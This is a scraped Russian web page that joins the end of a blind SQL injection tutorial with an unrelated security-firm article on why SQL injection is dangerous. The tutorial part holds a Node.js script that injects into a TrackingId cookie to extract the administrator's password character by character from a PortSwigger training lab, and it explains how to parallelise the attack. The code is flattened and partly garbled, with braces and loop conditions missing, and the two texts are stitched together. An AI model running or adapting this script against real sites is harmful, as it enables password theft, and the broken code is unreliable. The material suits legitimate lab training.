Так как символы на различных позициях значения независимы друг от друга, то и проводить итерации можно паралельно. За это будет отвечать дополнительная функция findValue(). Она запускает паралельные функции findChar() и ждет завершения выполнения всех, после чего возвращает значение искомой величины, соединив найденные символы. Так достигается оптимизация, время выполнения скрипта при таком сценарии равно самому долгому времени подбора отдельного символа.
JavaScript:
import fetch from "node-fetch"; // Длина искомого значения, определенная из предыдущего скрипта или в ручную const length = 20; // Значение, которое появляется на странице в случае истинного SQL запроса const flag = "Welcome"; async function findChar(i) < // Диапазон печатных значений кодировки ASCII let start = 32; let end = 126; // Обязательно проводим сравнение в SQL запросе только с помощью оператора >. // Также не забываем включить в запрос итерируемые значения middle и i. while (true) < let middle = Math.floor((start + end) / 2); // URL уязвимого приложения const url = new URL( "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login" ); // В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.) const options = < method: "GET", headers: < Cookie: `TrackingId=BlzXFEUoJcpSPeyv' and (select ascii(substring(password,$,1)) from users where username='administrator')>$-- `, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", >, // body: '', Если бы был POST >; const response = await fetch(url, options); const responseText = await response.text(); const greaterThanMiddle = responseText.includes(flag); const twoValues = end - start else if (twoValues && !greaterThanMiddle) < return start; >else if (greaterThanMiddle) < start = middle + 1; >else < end = middle; >> > async function findValue() < const requestArray = []; for (let i = 1; i const responseArray = await Promise.all(requestArray); const value = responseArray.reduce( (previous, current) => previous + String.fromCharCode(current), "" ); return value; > // Вызываем функцию и замеряем время подбора значения console.log("Please wait. "); const timeBefore = new Date(); const answ = await findValue(); const timeAfter = new Date(); const seconds = Math.round((timeAfter - timeBefore) / 1000); console.log("Value:", answ, "Spend time:", seconds, "seconds");
Решение обозначенной выше лабораторной с PortSwigger с использованием скриптов заняло 5 секунд.
Таким образом, написано два полуавтоматических скрипта, подходящих под решение широкого круга задач. Часть переменных при решении новых задач нужно изменять вручную. Но цели изобретать колесо (sqlmap) и не стояло. Ручная настройка в данном случае является достоинством, так как в руках понимающего специалиста позволит решить то, что sqlmap бы не смог. Код крайне прост. Конечно, можно было бы запускать два скрипта одной командой или настроить автоматический подбор полезной нагрузки, но, на мой взгляд, это не соответсвует принципу Паррето (20% труда = 80% результата). Код значительно усложнится, при этом возрастет количество отказов и время эксплуатации.
При желании, немного изменив код, можно подстроить скрипты под решение time based SQLi. Оставляю ссылку на свой github c исходниками кода. (GitHub — C0de4you/sql). После скачивания необходимо установить зависимости:
npm install
Time based blind sql как ускорить
+7 (495) 640-47-10
+7 (812) 612-00-12
sales@acribia.ru
29 января 2018
Почему SQL Injection — это самый опасный вид уязвимостей?
Самый распространенный способ взлома сайтов и программ, работающих с базами данных, — SQL Injection. Чем же так опасна данная уязвимость?
SQL инъекция на данный момент является не только широко распространенной уязвимостью, а еще и одной из самых опасных по версии OWASP Top 10 Application Security Risks 2017. Попробуем разобраться почему.
Суть уязвимости — выполнение произвольного запроса к базе данных. Запрос может быть любым: на чтение, запись, модификацию и удаление каких-либо записей. Звучит катастрофично, не правда ли? А ведь этими угрозами все не ограничивается, так как при определённых обстоятельствах можно добраться и до чтения/записи локальных файлов или даже до выполнения кода! Все зависит от целей, которые преследует злоумышленник, от используемой системы и того, как она сконфигурирована.
Существует несколько типов SQL инъекций:
- Классическая SQL Injection — простая и легкая в эксплуатации. Позволяет злоумышленнику атаковать БД и сразу видеть результат атаки. В последнее время встречается нечасто.
- Error-based SQL Injection — чуть более сложный и затратный по времени тип атаки, позволяющий, на основе выводимых ошибок СУБД, получить информацию о всей БД и хранящиеся в ней данные. Эксплуатируется, если кто-то в спешке забыл отключить вывод ошибок.
- Boolean-based SQL Injection — одна из «слепых» инъекций. Суть атаки сводится к добавлению специального подзапроса в уязвимый параметр, на который БД будет отвечать либо True, либо, неожиданно, False. Атака не позволяет сразу вывести все данные БД «на экран» злоумышленнику, но позволяет, перебирая параметры раз за разом, получить содержимое БД, хотя для этого потребуется временной отрезок соизмеримый с содержимым БД .
- Time-based SQL Injection — следующая из «слепых» инъекций. В данном случае злоумышленник добавляет подзапрос, приводящий к замедлению или паузе работы БД при некоторых условиях. Таким образом, атакующий, сравнивая время ответа на «True» и на «False» запросы, символ за символом может получить все содержимое БД, но времени уйдет на это больше, чем в случае эксплуатации Boolean-based атаки.
- Out-of-band SQL Injection — редкий тип. Атака может быть успешна только при определенных обстоятельствах, например, если сервер БД может генерировать DNS- или HTTP-запросы, что встречается нечасто. Также, как и Blind SQL, позволяет посимвольно собирать информацию о хранящихся там данных.
Чем это грозит?
Все это описание понятно большинству технарей, но далеко не всегда понятно бизнесу: «Ну запишут они в БД «Здесь был Василий», а дальше что?» Разбираем по пунктам.
«Слив» БД
Наиболее популярное явление, к которому приводит успешная атака — утечка всей информации, содержащейся в БД. Хорошо, если там не было ничего ценного (кроме фотографий ваших любимых котиков ^_^), но, в зависимости от обстоятельств, чаще в БД хранится множество весьма критичных данных: учетные записи пользователей (включая пароли), номера телефонов, адреса электронной почты, а нередко номера карт, их сроки действия и прочие сопутствующие сведения.
Чем грозит? В первую очередь, репутационными потерями, ведь мало кто захочет пользоваться сервисом, из которого могут вытащить какую-либо информацию о нём. Ещё хуже, если пароли хэшировались слабыми алгоритмами, что потенциально приведет к их восстановлению. Как вы понимаете, это крайне негативно отразится на всем бизнесе. Нечто подобное случилось у компании Taringa (новость на thehackernews.com), где пароли хранились хэшированными алгоритмом MD5, который еще в 2011 году был признан устаревшим (RFC 6151). В результате около 94% были восстановлены в течение нескольких суток.
Deface
Про последствия deface’а, наверняка, слышал каждый. Некоторые, даже встречали разного рода «акции», выраженные в размещении рекламы на главных страницах зачастую немаленьких и известных организаций, настройку редиректов на «вирусные сайты», замену всей главной страницы каким-нибудь мемом, а иногда даже и угрозами. Такие манипуляции зачастую организованы как раз при помощи SQL Injection-атак.
Помимо столь грубых способов указать на проблемы безопасности, существуют более утонченные и элегантные. Например, долгое время предлагалась «услуга» по размещению номера телефона заказчика на сайте жертвы. То есть пользователь, заходя на сайт компании А, знакомился с описанием товаров и услуг, но звонил по подмененному номеру уже в компанию Б. И, что тоже немаловажно, такие «модификации» сайта замечаются далеко не сразу.
Отдельно стоит упомянуть популярные в последнее время ICO. Почему? А потому что, если кто-нибудь заменит опубликованный в официальном источнике адрес кошелька, на который собираются средства, эти средства станут собираться уже на счете злоумышленника. Такие атаки были с успехом проведены несколько раз в прошлом году.
